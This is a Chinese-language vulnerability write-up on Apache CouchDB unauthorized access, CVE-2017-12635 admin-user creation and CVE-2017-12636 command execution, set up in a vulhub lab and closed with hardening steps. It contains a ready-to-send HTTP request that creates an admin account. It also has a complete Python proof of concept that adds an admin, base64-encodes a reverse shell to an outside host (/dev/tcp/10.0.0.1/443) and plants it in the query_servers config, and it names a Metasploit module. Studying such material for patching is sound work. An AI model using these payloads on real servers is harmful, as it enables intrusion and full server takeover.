漏洞简介 Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
CouchDB 默认在 5984 端口开放 Restful 的 API 接口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过 API 访问导致未授权访问。任何连接到服务器端口上的人,都可以调用相关 API 对服务器上的数据进行任意的增删改查,其中通过 API 修改 local.ini 配置文件,可进一步导致执行任意系统命令,获取服务器权限!
漏洞环境 使用 vulhub 搭建
启动完成后,访问http://your-ip:5984/
即可看到Couchdb的欢迎页面。
漏洞利用 Couchdb 垂直权限绕过漏洞(CVE-2017-12635) 任意用户创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 数据包中发送两个 roles 数据包,可绕过限制,建立用户 PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: your-ip:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { "type" : "user" , "name" : "vulhub" , "roles" : ["_admin" ], "roles" : [], "password" : "vulhub" }
Couchdb 任意命令执行漏洞(CVE-2017-12636) 在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server
,这个配置项在设计、执行view的时候将被运行。
利用条件
影响版本:小于 1.7.0 以及 小于 2.1.1
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635 先增加一个管理员用户。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 利用方式 使用msf模块:linux/http/apache_couchdb_cmd_exec poc 代码 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://your-ip/:5984' command = rb"" "sh -i >& /dev/tcp/10.0.0.1/443 0>&1" "" version = 1 session = requests.session() session.headers = { 'Content-Type' : 'application/json' } session.put(target + '/_users/org.couchdb.user:wooyun' , data='' '{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }' '' )session.auth = HTTPBasicAuth('wooyun' , 'wooyun' ) command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command ).decode()if version == 1: session.put(target + ('/_config/query_servers/cmd' ), data=json.dumps(command )) else : host = session.get(target + '/_membership' ).json()['all_nodes' ][0] session.put(target + '/_node/{}/_config/query_servers/cmd' .format(host), data=json.dumps(command )) session.put(target + '/wooyun' ) session.put(target + '/wooyun/test' , data='{"_id": "wooyuntest"}' ) if version == 1: session.post(target + '/wooyun/_temp_view?limit=10' , data='{"language":"cmd","map":""}' ) else : session.put(target + '/wooyun/_design/test' , data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' )
漏洞加固
指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。
设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码
参考文章